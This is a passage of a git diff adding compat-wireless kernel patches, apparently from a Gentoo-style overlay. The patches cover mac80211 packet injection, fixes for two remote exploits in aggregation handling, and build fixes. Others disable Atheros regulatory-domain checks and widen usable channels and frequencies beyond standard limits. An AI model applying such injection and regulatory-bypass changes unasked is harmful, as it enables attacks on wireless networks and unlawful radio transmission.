15:03:06.436871431 +0100 +@@ -670,6 +670,10 @@ + return TX_CONTINUE; + } + ++static int ieee80211_injection_patch = 1; ++module_param(ieee80211_injection_patch, int, 0644); ++MODULE_PARM_DESC(ieee80211_injection_patch, "Enable packet injection patch"); ++ + static ieee80211_tx_result debug_noinline + ieee80211_tx_h_sequence(struct ieee80211_tx_data *tx) + { +@@ -686,14 +690,20 @@ + * excessive retries (ACKing and retrying should be + * handled by the injecting application). + * FIXME This may break hostapd and some other injectors. +- * This should be done using a radiotap flag. ++ * This should be done using a radiotap flag. For the time being, this ++ * may be enabled/disabled in ++ * /sys/module/mac80211/parameters/ieee80211_injection_patch + */ +- if (unlikely((info->flags & IEEE80211_TX_CTL_INJECTED) && +- !(tx->sdata->u.mntr_flags & MONITOR_FLAG_COOK_FRAMES))) { ++ if (unlikely(ieee80211_injection_patch && ++ (info->flags & IEEE80211_TX_CTL_INJECTED) && ++ !(tx->sdata->u.mntr_flags & MONITOR_FLAG_COOK_FRAMES))) { + if (!ieee80211_has_morefrags(hdr->frame_control)) + info->flags |= IEEE80211_TX_CTL_NO_ACK; + return TX_CONTINUE; + } ++ if (unlikely(!ieee80211_injection_patch && ++ info->control.vif->type == NL80211_IFTYPE_MONITOR)) ++ return TX_CONTINUE; + + if (unlikely(ieee80211_is_ctl(hdr->frame_control))) + return TX_CONTINUE; diff --git a/net-wireless/compat-wireless/files/4099-2.6.32-rc7-mac80211-security-fixes.patch b/net-wireless/compat-wireless/files/4099-2.6.32-rc7-mac80211-security-fixes.patch new file mode 100644 index 00000000..754e1c28 --- /dev/null +++ b/net-wireless/compat-wireless/files/4099-2.6.32-rc7-mac80211-security-fixes.patch @@ -0,0 +1,159 @@ +Johannes Berg (2): + mac80211: fix two remote exploits + mac80211: fix spurious delBA handling + + drivers/net/wireless/iwlwifi/iwl-tx.c | 10 +++++++++- + include/net/mac80211.h | 6 ++++++ + net/mac80211/agg-rx.c | 4 ---- + net/mac80211/agg-tx.c | 17 ++++++++--------- + net/mac80211/ht.c | 8 +++----- + net/mac80211/ieee80211_i.h | 2 ++ + 6 files changed, 28 insertions(+), 19 deletions(-) + +diff --git a/drivers/net/wireless/iwlwifi/iwl-tx.c b/drivers/net/wireless/iwlwifi/iwl-tx.c +index fb9bcfa..b7e196e 100644 +--- a/drivers/net/wireless/iwlwifi/iwl-tx.c ++++ b/drivers/net/wireless/iwlwifi/iwl-tx.c +@@ -1277,8 +1277,16 @@ int iwl_tx_agg_stop(struct iwl_priv *priv , const u8 *ra, u16 tid) + return -ENXIO; + } + ++ if (priv->stations[sta_id].tid[tid].agg.state == ++ IWL_EMPTYING_HW_QUEUE_ADDBA) { ++ IWL_DEBUG_HT(priv, "AGG stop before setup done\n"); ++ ieee80211_stop_tx_ba_cb_irqsafe(priv->hw, ra, tid); ++ priv->stations[sta_id].tid[tid].agg.state = IWL_AGG_OFF; ++ return 0; ++ } ++ + if (priv->stations[sta_id].tid[tid].agg.state != IWL_AGG_ON) +- IWL_WARN(priv, "Stopping AGG while state not IWL_AGG_ON\n"); ++ IWL_WARN(priv, "Stopping AGG while state not ON or starting\n"); + + tid_data = &priv->stations[sta_id].tid[tid]; + ssn = (tid_data->seq_number & IEEE80211_SCTL_SEQ) >> 4; +diff --git a/include/net/mac80211.h b/include/net/mac80211.h +index c75b960..998c30f 100644 +--- a/include/net/mac80211.h ++++ b/include/net/mac80211.h +@@ -1283,6 +1283,12 @@ enum ieee80211_filter_flags { + * + * These flags are used with the ampdu_action() callback in + * &struct ieee80211_ops to indicate which action is needed. ++ * ++ * Note that drivers MUST be able to deal with a TX aggregation ++ * session being stopped even before they OK'ed starting it by ++ * calling ieee80211_start_tx_ba_cb(_irqsafe), because the peer ++ * might receive the addBA frame and send a delBA right away! ++ * + * @IEEE80211_AMPDU_RX_START: start Rx aggregation + * @IEEE80211_AMPDU_RX_STOP: stop Rx aggregation + * @IEEE80211_AMPDU_TX_START: start Tx aggregation +diff --git a/net/mac80211/agg-rx.c b/net/mac80211/agg-rx.c +index bc064d7..ce8e0e7 100644 +--- a/net/mac80211/agg-rx.c ++++ b/net/mac80211/agg-rx.c +@@ -85,10 +85,6 @@ void ieee80211_sta_stop_rx_ba_session(struct ieee80211_sub_if_data *sdata, u8 *r + struct ieee80211_local *local = sdata->local; + struct sta_info *sta; + +- /* stop HW Rx aggregation. ampdu_action existence +- * already verified in session init so we add the BUG_ON */ +- BUG_ON(!local->ops->ampdu_action); +- + rcu_read_lock(); + + sta = sta_info_get(local, ra); +diff --git a/net/mac80211/agg-tx.c b/net/mac80211/agg-tx.c +index 206fd82..89e238b 100644 +--- a/net/mac80211/agg-tx.c ++++ b/net/mac80211/agg-tx.c +@@ -123,13 +123,18 @@ void ieee80211_send_bar(struct ieee80211_sub_if_data *sdata, u8 *ra, u16 tid, u1 + ieee80211_tx_skb(sdata, skb, 0); + } + +-static int ___ieee80211_stop_tx_ba_session(struct sta_info *sta, u16 tid, +- enum ieee80211_back_parties initiator) ++int ___ieee80211_stop_tx_ba_session(struct sta_info *sta, u16 tid, ++ enum ieee80211_back_parties initiator) + { + struct ieee80211_local *local = sta->local; + int ret; + u8 *state; + ++#ifdef CONFIG_MAC80211_HT_DEBUG ++ printk(KERN_DEBUG "Tx BA session stop requested for %pM tid %u\n", ++ sta->sta.addr, tid); ++#endif /* CONFIG_MAC80211_HT_DEBUG */ ++ + state = &sta->ampdu_mlme.tid_state_tx[tid]; + + if (*state == HT_AGG_STATE_OPERATIONAL) +@@ -143,7 +148,6 @@ static int ___ieee80211_stop_tx_ba_session(struct sta_info *sta, u16 tid, + + /* HW shall not deny going back to legacy */ + if (WARN_ON(ret)) { +- *state = HT_AGG_STATE_OPERATIONAL; + /* + * We may have pending packets get stuck in this case... + * Not bothering with a workaround for now. +@@ -525,11 +529,6 @@ int __ieee80211_stop_tx_ba_session(struct sta_info *sta, u16 tid, + goto unlock; + } + +-#ifdef CONFIG_MAC80211_HT_DEBUG +- printk(KERN_DEBUG "Tx BA session stop requested for %pM tid %u\n", +- sta->sta.addr, tid); +-#endif /* CONFIG_MAC80211_HT_DEBUG */ +- + ret = ___ieee80211_stop_tx_ba_session(sta, tid, initiator); + + unlock: +@@ -545,7 +544,7 @@ int ieee80211_stop_tx_ba_session(struct ieee80211_hw *hw, + struct sta_info *sta; + int ret = 0; + +- if (WARN_ON(!local->ops->ampdu_action)) ++ if (!local->ops->ampdu_action) + return -EINVAL; + + if (tid >= STA_TID_NUM) +diff --git a/net/mac80211/ht.c b/net/mac80211/ht.c +index 48ef1a2..cdc58e6 100644 +--- a/net/mac80211/ht.c ++++ b/net/mac80211/ht.c +@@ -141,7 +141,6 @@ void ieee80211_process_delba(struct ieee80211_sub_if_data *sdata, + struct sta_info *sta, + struct ieee80211_mgmt *mgmt, size_t len) + { +- struct ieee80211_local *local = sdata->local; + u16 tid, params; + u16 initiator; + +@@ -161,10 +160,9 @@ void ieee80211_process_delba(struct ieee80211_sub_if_data *sdata, + WLAN_BACK_INITIATOR, 0); + else { /* WLAN_BACK_RECIPIENT */ + spin_lock_bh(&sta->lock); +- sta->ampdu_mlme.tid_state_tx[tid] = +- HT_AGG_STATE_OPERATIONAL; ++ if (sta->ampdu_mlme.tid_state_tx[tid] & HT_ADDBA_REQUESTED_MSK) ++ ___ieee80211_stop_tx_ba_session(sta, tid, ++ WLAN_BACK_RECIPIENT); + spin_unlock_bh(&sta->lock); +- ieee80211_stop_tx_ba_session(&local->hw, sta->sta.addr, tid, +- WLAN_BACK_RECIPIENT); + } + } +diff --git a/net/mac80211/ieee80211_i.h b/net/mac80211/ieee80211_i.h +index a910bf1..10d316e 100644 +--- a/net/mac80211/ieee80211_i.h ++++ b/net/mac80211/ieee80211_i.h +@@ -1091,6 +1091,8 @@ void ieee80211_process_addba_request(struct ieee80211_local *local, + + int __ieee80211_stop_tx_ba_session(struct sta_info *sta, u16 tid, + enum ieee80211_back_parties initiator); ++int ___ieee80211_stop_tx_ba_session(struct sta_info *sta, u16 tid, ++ enum ieee80211_back_parties initiator); + + /* Spectrum management */ + void ieee80211_process_measurement_req(struct ieee80211_sub_if_data *sdata, diff --git a/net-wireless/compat-wireless/files/WEXT-EXT-nuts.patch b/net-wireless/compat-wireless/files/WEXT-EXT-nuts.patch new file mode 100644 index 00000000..9c316b80 --- /dev/null +++ b/net-wireless/compat-wireless/files/WEXT-EXT-nuts.patch @@ -0,0 +1,71 @@ +From: Luis R. Rodriguez +Date: Thu, 17 Jun 2010 20:28:58 +0000 (-0700) +Subject: compat-wireles: fix compilation when you have disabled CONFIG_CFG80211_WEXT +X-Git-Url: http://git.kernel.org/?p=linux%2Fkernel%2Fgit%2Fmcgrof%2Fcompat-wireless-2.6.git;a=commitdiff_plain;h=75bb5106cc632665fdccb9abc13f35dbaf70df1e + +compat-wireles: fix compilation when you have disabled CONFIG_CFG80211_WEXT + +On newer kernels you can disable CONFIG_CFG80211_WEXT. If you try to +compile compat-wireless with CONFIG_CFG80211_WEXT disabled you get: + + CC [M] /home/mcgrof/devel/compat-wireless-2.6/net/wireless/core.o +/home/mcgrof/devel/compat-wireless-2.6/net/wireless/core.c: In function 'cfg80211_netdev_notifier_call': +/home/mcgrof/devel/compat-wireless-2.6/net/wireless/core.c:703: error: 'struct net_device' has no member named 'wireless_handlers' +/home/mcgrof/devel/compat-wireless-2.6/net/wireless/core.c:704: error: 'struct net_device' has no member named 'wireless_handlers' +make[3]: *** [/home/mcgrof/devel/compat-wireless-2.6/net/wireless/core.o] Error 1 +make[2]: *** [/home/mcgrof/devel/compat-wireless-2.6/net/wireless] Error 2 +make[1]: *** [_module_/home/mcgrof/devel/compat-wireless-2.6] Error 2 + +This is because we currently force CONFIG_CFG80211_WEXT to be enabled +on the compat_autoconf.h. Instead we should enable it conditionally +based on CONFIG_CFG80211_WEXT for older kernels and simply leave it +out for newer kernels, so we can respect your kernel config. For +newer kernels you cannot enable CONFIG_CFG80211_WEXT since +the net_device structure changes based on CONFIG_CFG80211_WEXT, +the wireless_handlers are not added to the net_device if you don't +have it enabled. + +Reported-by: Mathieu Olivari +Signed-off-by: Luis R. Rodriguez +--- + +diff --git a/config.mk b/config.mk +index 0001a7d..04a6f7e 100644 +--- a/config.mk ++++ b/config.mk +@@ -162,8 +162,19 @@ CONFIG_BT_CMTP=m + endif + CONFIG_BT_HIDP=m + ++# CONFIG_CFG80211_WEXT will be resepected for ++# future kernels but for older kenrels we need ++# to enable it against the the old CONFIG_WIRELESS_EXT. ++# By using a space here we prevent scripts/gen-compat-autoconf.sh ++# from defining CONFIG_CFG80211_WEXT through its grep sweep for ^CONFIG ++# options, instead its handled specially there based on kernel revision. ++# using this logic: if you are on older kernel and have CONFIG_WIRELESS_EXT ++# defined we'll define it. ++# ++# For newer kernels we'll just respect your own kernel's ++# autoconf.h + ifneq ($(CONFIG_WIRELESS_EXT),) +-CONFIG_CFG80211_WEXT=y ++ CONFIG_CFG80211_WEXT=y + endif + + # mac80211 test driver +diff --git a/scripts/gen-compat-autoconf.sh b/scripts/gen-compat-autoconf.sh +index 7fb63e9..88e2740 100755 +--- a/scripts/gen-compat-autoconf.sh ++++ b/scripts/gen-compat-autoconf.sh +@@ -193,8 +193,7 @@ if [ -f $KLIB_BUILD/Makefile ]; then + rm -f $MULT_DEP_FILE + # Kernels >= 2.6.32 can disable WEXT :D + if [ $SUBLEVEL -lt 32 ]; then +- # Handle core kernel wireless depenencies here +- define_config_req CONFIG_WIRELESS_EXT ++ define_config_dep CONFIG_CFG80211_WEXT 1 CONFIG_WIRELESS_EXT + fi + fi + fi + diff --git a/net-wireless/compat-wireless/files/ath9k_htc_ethtool_driver.patch b/net-wireless/compat-wireless/files/ath9k_htc_ethtool_driver.patch new file mode 100644 index 00000000..a7b4a870 --- /dev/null +++ b/net-wireless/compat-wireless/files/ath9k_htc_ethtool_driver.patch @@ -0,0 +1,37 @@ +From: Sujith Manoharan + +Pass the correct module name and device interface so that +ethtool can display the proper values. + +The firmware version will be fixed later on when the FW +can actually report a version. :) + +Reported-by: Richard Farina +Signed-off-by: Sujith Manoharan +--- + drivers/net/wireless/ath/ath9k/hif_usb.c | 4 ++-- + 1 files changed, 2 insertions(+), 2 deletions(-) + +diff --git a/drivers/net/wireless/ath/ath9k/hif_usb.c b/drivers/net/wireless/ath/ath9k/hif_usb.c +index f1b8af6..2d10239 100644 +--- a/drivers/net/wireless/ath/ath9k/hif_usb.c ++++ b/drivers/net/wireless/ath/ath9k/hif_usb.c +@@ -1040,7 +1040,7 @@ static int ath9k_hif_usb_probe(struct usb_interface *interface, + } + + ret = ath9k_htc_hw_init(hif_dev->htc_handle, +- &hif_dev->udev->dev, hif_dev->device_id, ++ &interface->dev, hif_dev->device_id, + hif_dev->udev->product, id->driver_info); + if (ret) { + ret = -EINVAL; +@@ -1158,7 +1158,7 @@ fail_resume: + #endif + + static struct usb_driver ath9k_hif_usb_driver = { +- .name = "ath9k_hif_usb", ++ .name = KBUILD_MODNAME, + .probe = ath9k_hif_usb_probe, + .disconnect = ath9k_hif_usb_disconnect, + #ifdef CONFIG_PM +-- 1.7.4.4 diff --git a/net-wireless/compat-wireless/files/ath_ignore_eeprom.patch b/net-wireless/compat-wireless/files/ath_ignore_eeprom.patch new file mode 100644 index 00000000..71b392d9 --- /dev/null +++ b/net-wireless/compat-wireless/files/ath_ignore_eeprom.patch @@ -0,0 +1,70 @@ +diff -Naur /var/tmp/portage/net-wireless/compat-wireless-2.6.35_rc2-r3/work/compat-wireless-2.6.35-rc2/drivers/net/wireless/ath/regd.c /usr/src/compat-wireless-2.6.35-rc2/drivers/net/wireless/ath/regd.c +--- /var/tmp/portage/net-wireless/compat-wireless-2.6.35_rc2-r3/work/compat-wireless-2.6.35-rc2/drivers/net/wireless/ath/regd.c 2010-06-11 14:16:36.000000000 -0400 ++++ /usr/src/compat-wireless-2.6.35-rc2/drivers/net/wireless/ath/regd.c 2010-06-21 17:20:13.000000000 -0400 +@@ -18,6 +18,9 @@ + #include + #include + #include "regd.h" ++ ++#ifdef ATH_FORCE_REGD ++ + #include "regd_common.h" + + /* +@@ -587,3 +590,5 @@ + } + } + EXPORT_SYMBOL(ath_regd_get_band_ctl); ++ ++#endif +diff -Naur /var/tmp/portage/net-wireless/compat-wireless-2.6.35_rc2-r3/work/compat-wireless-2.6.35-rc2/drivers/net/wireless/ath/regd.h /usr/src/compat-wireless-2.6.35-rc2/drivers/net/wireless/ath/regd.h +--- /var/tmp/portage/net-wireless/compat-wireless-2.6.35_rc2-r3/work/compat-wireless-2.6.35-rc2/drivers/net/wireless/ath/regd.h 2010-06-11 14:16:36.000000000 -0400 ++++ /usr/src/compat-wireless-2.6.35-rc2/drivers/net/wireless/ath/regd.h 2010-06-21 17:21:33.000000000 -0400 +@@ -250,6 +250,41 @@ + CTRY_BELGIUM2 = 5002 + }; + ++#ifndef ATH_FORCE_REGD ++ ++static inline bool ++ath_is_world_regd(struct ath_regulatory *reg) ++{ ++ return true; ++} ++ ++static inline int ++ath_regd_init(struct ath_regulatory *reg, struct wiphy *wiphy, ++ int (*reg_notifier)(struct wiphy *wiphy, ++ struct regulatory_request *request)) ++{ ++ return 0; ++} ++ ++ ++static inline u32 ++ath_regd_get_band_ctl(struct ath_regulatory *reg, ++ enum ieee80211_band band) ++{ ++ return SD_NO_CTL; ++} ++ ++static inline int ++ath_reg_notifier_apply(struct wiphy *wiphy, ++ struct regulatory_request *request, ++ struct ath_regulatory *reg) ++{ ++ return 0; ++} ++ ++ ++#else ++ + bool ath_is_world_regd(struct ath_regulatory *reg); + int ath_regd_init(struct ath_regulatory *reg, struct wiphy *wiphy, + int (*reg_notifier)(struct wiphy *wiphy, +@@ -261,3 +296,5 @@ + struct ath_regulatory *reg); + + #endif ++ ++#endif diff --git a/net-wireless/compat-wireless/files/ath_regd_optional.patch b/net-wireless/compat-wireless/files/ath_regd_optional.patch new file mode 100644 index 00000000..415fc896 --- /dev/null +++ b/net-wireless/compat-wireless/files/ath_regd_optional.patch @@ -0,0 +1,39 @@ +diff -Naur compat-wireless-3.0-rc4-1-orig/drivers/net/wireless/ath/regd.c compat-wireless-3.0-rc4-1/drivers/net/wireless/ath/regd.c +--- compat-wireless-3.0-rc4-1-orig/drivers/net/wireless/ath/regd.c 2011-06-23 19:02:22.000000000 -0400 ++++ compat-wireless-3.0-rc4-1/drivers/net/wireless/ath/regd.c 2011-06-26 01:52:35.000000000 -0400 +@@ -193,6 +193,8 @@ + u32 bandwidth = 0; + int r; + ++ return; ++ + for (band = 0; band < IEEE80211_NUM_BANDS; band++) { + + if (!wiphy->bands[band]) +@@ -252,6 +254,8 @@ + u32 bandwidth = 0; + int r; + ++ return; ++ + sband = wiphy->bands[IEEE80211_BAND_2GHZ]; + + /* +@@ -299,6 +303,8 @@ + struct ieee80211_channel *ch; + unsigned int i; + ++ return; ++ + if (!wiphy->bands[IEEE80211_BAND_5GHZ]) + return; + +@@ -466,6 +472,8 @@ + { + const struct ieee80211_regdomain *regd; + ++ return 0; ++ + wiphy->reg_notifier = reg_notifier; + wiphy->flags |= WIPHY_FLAG_STRICT_REGULATORY; + diff --git a/net-wireless/compat-wireless/files/blinky.patch b/net-wireless/compat-wireless/files/blinky.patch new file mode 100644 index 00000000..4b928999 --- /dev/null +++ b/net-wireless/compat-wireless/files/blinky.patch @@ -0,0 +1,11 @@ +diff -Naur compat-wireless-2.6.31-rc7-orig/config.mk compat-wireless-2.6.31-rc7/config.mk +--- compat-wireless-2.6.31-rc7-orig/config.mk 2009-08-25 20:07:50.000000000 -0400 ++++ compat-wireless-2.6.31-rc7/config.mk 2009-08-25 21:58:33.000000000 -0400 +@@ -266,6 +266,7 @@ + + CONFIG_P54_USB=m + CONFIG_RTL8187=m ++CONFIG_RTL8187_LEDS=y + + CONFIG_AT76C50X_USB=m + diff --git a/net-wireless/compat-wireless/files/channel-negative-one-maxim.patch b/net-wireless/compat-wireless/files/channel-negative-one-maxim.patch new file mode 100644 index 00000000..a1eb2b2d --- /dev/null +++ b/net-wireless/compat-wireless/files/channel-negative-one-maxim.patch @@ -0,0 +1,38 @@ +commit fffd6e63ea75850dafbf2ccfb38a4189f43c0282 +Author: Maxim Levitsky +Date: Tue Jun 1 15:43:21 2010 +0300 + + wireless: allow to retrieve the channel set on monitor interface + + This will allow to preserve compatibility with userspace + + Signed-off-by: Maxim Levitsky + +diff --git a/net/wireless/chan.c b/net/wireless/chan.c +index b01a6f6..09d979b 100644 +--- a/net/wireless/chan.c ++++ b/net/wireless/chan.c +@@ -49,9 +49,12 @@ int cfg80211_set_freq(struct cfg80211_registered_device *rdev, + { + struct ieee80211_channel *chan; + int result; ++ struct wireless_dev *mon_dev = NULL; + +- if (wdev && wdev->iftype == NL80211_IFTYPE_MONITOR) ++ if (wdev && wdev->iftype == NL80211_IFTYPE_MONITOR) { ++ mon_dev = wdev; + wdev = NULL; ++ } + + if (wdev) { + ASSERT_WDEV_LOCK(wdev); +@@ -76,5 +79,8 @@ int cfg80211_set_freq(struct cfg80211_registered_device *rdev, + if (wdev) + wdev->channel = chan; + ++ if (mon_dev) ++ mon_dev->channel = chan; ++ + return 0; + } + diff --git a/net-wireless/compat-wireless/files/compat-chaos.patch b/net-wireless/compat-wireless/files/compat-chaos.patch new file mode 100644 index 00000000..e1447b5f --- /dev/null +++ b/net-wireless/compat-wireless/files/compat-chaos.patch @@ -0,0 +1,166 @@ +diff -Naur compat-wireless-2.6.32-rc1/drivers/net/wireless/ath/ath5k/base.c compat-chaos/drivers/net/wireless/ath/ath5k/base.c +--- compat-wireless-2.6.32-rc1/drivers/net/wireless/ath/ath5k/base.c 2009-10-02 16:42:13.000000000 -0700 ++++ compat-chaos/drivers/net/wireless/ath/ath5k/base.c 2009-10-05 09:45:40.000000000 -0700 +@@ -285,7 +285,7 @@ + static void ath5k_detach(struct pci_dev *pdev, + struct ieee80211_hw *hw); + /* Channel/mode setup */ +-static inline short ath5k_ieee2mhz(short chan); ++static inline short ath5k_ieee2mhz(int chan, unsigned int chfreq); + static unsigned int ath5k_copy_channels(struct ath5k_hw *ah, + struct ieee80211_channel *channels, + unsigned int mode, +@@ -889,7 +889,7 @@ + * Convert IEEE channel number to MHz frequency. + */ + static inline short +-ath5k_ieee2mhz(short chan) ++ath5k_ieee2mhz(int chan, unsigned int chfreq) + { + if (chan <= 14 || chan >= 27) + return ieee80211chan2mhz(chan); +@@ -902,13 +902,7 @@ + */ + static bool ath5k_is_standard_channel(short chan) + { +- return ((chan <= 14) || +- /* UNII 1,2 */ +- ((chan & 3) == 0 && chan >= 36 && chan <= 64) || +- /* midband */ +- ((chan & 3) == 0 && chan >= 100 && chan <= 140) || +- /* UNII-3 */ +- ((chan & 3) == 1 && chan >= 149 && chan <= 165)); ++ return true; + } + + static unsigned int +@@ -917,7 +911,8 @@ + unsigned int mode, + unsigned int max) + { +- unsigned int i, count, size, chfreq, freq, ch; ++ unsigned int i, count, size, chfreq, freq; ++ int ch; + + if (!test_bit(mode, ah->ah_modes)) + return 0; +@@ -926,13 +921,15 @@ + case AR5K_MODE_11A: + case AR5K_MODE_11A_TURBO: + /* 1..220, but 2GHz frequencies are filtered by check_channel */ +- size = 220 ; ++ size = 3000 ; ++ ch = -40; + chfreq = CHANNEL_5GHZ; + break; + case AR5K_MODE_11B: + case AR5K_MODE_11G: + case AR5K_MODE_11G_TURBO: +- size = 26; ++ size = 3000; ++ ch = -43; + chfreq = CHANNEL_2GHZ; + break; + default: +@@ -940,9 +937,8 @@ + return 0; + } + +- for (i = 0, count = 0; i < size && max > 0; i++) { +- ch = i + 1 ; +- freq = ath5k_ieee2mhz(ch); ++ for (i = 0, count = 0; i < size && max > 0; i++,ch++) { ++ freq = ath5k_ieee2mhz(ch,chfreq); + + /* Check if channel is supported by the chipset */ + if (!ath5k_channel_ok(ah, freq, chfreq)) +@@ -1246,7 +1242,9 @@ + + rate = ieee80211_get_tx_rate(sc->hw, info); + +- if (info->flags & IEEE80211_TX_CTL_NO_ACK) ++ if (info->flags & IEEE80211_TX_CTL_NO_ACK || ++ (info->flags & IEEE80211_TX_CTL_INJECTED && ++ !(ieee80211_has_morefrags(((struct ieee80211_hdr *)skb->data)->frame_control)))) + flags |= AR5K_TXDESC_NOACK; + + rc_flags = info->control.rates[0].flags; +diff -Naur compat-wireless-2.6.32-rc1/drivers/net/wireless/ath/ath5k/base.h compat-chaos/drivers/net/wireless/ath/ath5k/base.h +--- compat-wireless-2.6.32-rc1/drivers/net/wireless/ath/ath5k/base.h 2009-10-02 16:42:15.000000000 -0700 ++++ compat-chaos/drivers/net/wireless/ath/ath5k/base.h 2009-10-05 09:46:12.000000000 -0700 +@@ -110,9 +110,9 @@ + }; + + #if CHAN_DEBUG +-#define ATH_CHAN_MAX (26+26+26+200+200) ++#define ATH_CHAN_MAX (4000) + #else +-#define ATH_CHAN_MAX (14+14+14+252+20) ++#define ATH_CHAN_MAX (4000) + #endif + + /* Software Carrier, keeps track of the driver state +diff -Naur compat-wireless-2.6.32-rc1/drivers/net/wireless/ath/ath5k/caps.c compat-chaos/drivers/net/wireless/ath/ath5k/caps.c +--- compat-wireless-2.6.32-rc1/drivers/net/wireless/ath/ath5k/caps.c 2009-10-02 16:42:13.000000000 -0700 ++++ compat-chaos/drivers/net/wireless/ath/ath5k/caps.c 2009-10-05 09:47:07.000000000 -0700 +@@ -69,8 +69,8 @@ + + if (AR5K_EEPROM_HDR_11A(ee_header)) { + /* 4920 */ +- ah->ah_capabilities.cap_range.range_5ghz_min = 5005; +- ah->ah_capabilities.cap_range.range_5ghz_max = 6100; ++ ah->ah_capabilities.cap_range.range_5ghz_min = 4800; ++ ah->ah_capabilities.cap_range.range_5ghz_max = 6000; + + /* Set supported modes */ + __set_bit(AR5K_MODE_11A, +@@ -88,7 +88,7 @@ + (AR5K_EEPROM_HDR_11G(ee_header) && + ah->ah_version != AR5K_AR5211)) { + /* 2312 */ +- ah->ah_capabilities.cap_range.range_2ghz_min = 2412; ++ ah->ah_capabilities.cap_range.range_2ghz_min = 2192; + ah->ah_capabilities.cap_range.range_2ghz_max = 2732; + + if (AR5K_EEPROM_HDR_11B(ee_header)) +diff -Naur compat-wireless-2.6.32-rc1/drivers/net/wireless/ath/ath5k/phy.c compat-chaos/drivers/net/wireless/ath/ath5k/phy.c +--- compat-wireless-2.6.32-rc1/drivers/net/wireless/ath/ath5k/phy.c 2009-10-02 16:42:13.000000000 -0700 ++++ compat-chaos/drivers/net/wireless/ath/ath5k/phy.c 2009-10-05 09:48:55.000000000 -0700 +@@ -830,13 +830,7 @@ + bool ath5k_channel_ok(struct ath5k_hw *ah, u16 freq, unsigned int flags) + { + /* Check if the channel is in our supported range */ +- if (flags & CHANNEL_2GHZ) { +- if ((freq >= ah->ah_capabilities.cap_range.range_2ghz_min) && +- (freq <= ah->ah_capabilities.cap_range.range_2ghz_max)) +- return true; +- } else if (flags & CHANNEL_5GHZ) +- if ((freq >= ah->ah_capabilities.cap_range.range_5ghz_min) && +- (freq <= ah->ah_capabilities.cap_range.range_5ghz_max)) ++ if ((freq >=2190) && (freq <=5900)) + return true; + + return false; +diff -Naur compat-wireless-2.6.32-rc1/include/net/ieee80211_radiotap.h compat-chaos/include/net/ieee80211_radiotap.h +--- compat-wireless-2.6.32-rc1/include/net/ieee80211_radiotap.h 2009-10-02 16:42:12.000000000 -0700 ++++ compat-chaos/include/net/ieee80211_radiotap.h 2009-10-05 09:49:54.000000000 -0700 +@@ -247,7 +247,7 @@ + #define ieee80211chan2mhz(x) \ + (((x) <= 14) ? \ + (((x) == 14) ? 2484 : ((x) * 5) + 2407) : \ +- ((x) + 1000) * 5) ++ ((x) + 2100)) + + /* helpers */ + static inline int ieee80211_get_radiotap_len(unsigned char *data) +diff -Naur compat-wireless-2.6.32-rc1/net/mac80211/tx.c compat-chaos/net/mac80211/tx.c +--- compat-wireless-2.6.32-rc1/net/mac80211/tx.c 2009-10-02 16:42:12.000000000 -0700 ++++ compat-chaos/net/mac80211/tx.c 2009-10-05 09:50:38.000000000 -0700 +@@ -1392,6 +1392,7 @@ + { + struct ieee80211_local *local = sdata->local; + struct ieee80211_tx_info *info = IEEE80211_SKB_CB(skb); ++ struct ieee80211_channel *chan = local->hw.conf.channel; + struct ieee80211_hdr *hdr = (struct ieee80211_hdr *) skb->data; + struct ieee80211_sub_if_data *tmp_sdata; + int headroom; diff --git a/net-wireless/compat-wireless/files/compat-sched.patch b/net-wireless/compat-wireless/files/compat-sched.patch new file mode 100644 index 00000000..9670069e --- /dev/null +++ b/net-wireless/compat-wireless/files/compat-sched.patch @@ -0,0 +1,10 @@ +--- compat/compat-2.6.39.c.orig 2011-05-04 09:45:45.885000018 +0800 ++++ compat/compat-2.6.39.c 2011-05-04 09:46:04.691000014 +0800 +@@ -10,6 +10,7 @@ + + #include + #include ++#include + + #if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,27)) + /* diff --git a/net-wireless/compat-wireless/files/compat-wireless-3.5-grsec.patch b/net-wireless/compat-wireless/files/compat-wireless-3.5-grsec.patch new file mode 100644 index 00000000..857d5fb3 --- /dev/null +++ b/net-wireless/compat-wireless/files/compat-wireless-3.5-grsec.patch @@ -0,0 +1,398 @@ +diff --git a/drivers/net/wireless/ath/ath.h b/drivers/net/wireless/ath/ath.h +index c54b7d37..af1f359 100644 +--- a/drivers/net/wireless/ath/ath.h ++++ b/drivers/net/wireless/ath/ath.h +@@ -119,6 +119,7 @@ struct ath_ops { + void (*write_flush) (void *); + u32 (*rmw)(void *, u32 reg_offset, u32 set, u32 clr); + }; ++typedef struct ath_ops __no_const ath_ops_no_const; + + struct ath_common; + struct ath_bus_ops; +diff --git a/drivers/net/wireless/ath/ath9k/ar9002_mac.c b/drivers/net/wireless/ath/ath9k/ar9002_mac.c +index aa2abaf..5f5152d 100644 +--- a/drivers/net/wireless/ath/ath9k/ar9002_mac.c ++++ b/drivers/net/wireless/ath/ath9k/ar9002_mac.c +@@ -183,8 +183,8 @@ ar9002_set_txdesc(struct ath_hw *ah, void *ds, struct ath_tx_info *i) + ads->ds_txstatus6 = ads->ds_txstatus7 = 0; + ads->ds_txstatus8 = ads->ds_txstatus9 = 0; + +- ACCESS_ONCE(ads->ds_link) = i->link; +- ACCESS_ONCE(ads->ds_data) = i->buf_addr[0]; ++ ACCESS_ONCE_RW(ads->ds_link) = i->link; ++ ACCESS_ONCE_RW(ads->ds_data) = i->buf_addr[0]; + + ctl1 = i->buf_len[0] | (i->is_last ? 0 : AR_TxMore); + ctl6 = SM(i->keytype, AR_EncrType); +@@ -198,26 +198,26 @@ ar9002_set_txdesc(struct ath_hw *ah, void *ds, struct ath_tx_info *i) + + if ((i->is_first || i->is_last) && + i->aggr != AGGR_BUF_MIDDLE && i->aggr != AGGR_BUF_LAST) { +- ACCESS_ONCE(ads->ds_ctl2) = set11nTries(i->rates, 0) ++ ACCESS_ONCE_RW(ads->ds_ctl2) = set11nTries(i->rates, 0) + | set11nTries(i->rates, 1) + | set11nTries(i->rates, 2) + | set11nTries(i->rates, 3) + | (i->dur_update ? AR_DurUpdateEna : 0) + | SM(0, AR_BurstDur); + +- ACCESS_ONCE(ads->ds_ctl3) = set11nRate(i->rates, 0) ++ ACCESS_ONCE_RW(ads->ds_ctl3) = set11nRate(i->rates, 0) + | set11nRate(i->rates, 1) + | set11nRate(i->rates, 2) + | set11nRate(i->rates, 3); + } else { +- ACCESS_ONCE(ads->ds_ctl2) = 0; +- ACCESS_ONCE(ads->ds_ctl3) = 0; ++ ACCESS_ONCE_RW(ads->ds_ctl2) = 0; ++ ACCESS_ONCE_RW(ads->ds_ctl3) = 0; + } + + if (!i->is_first) { +- 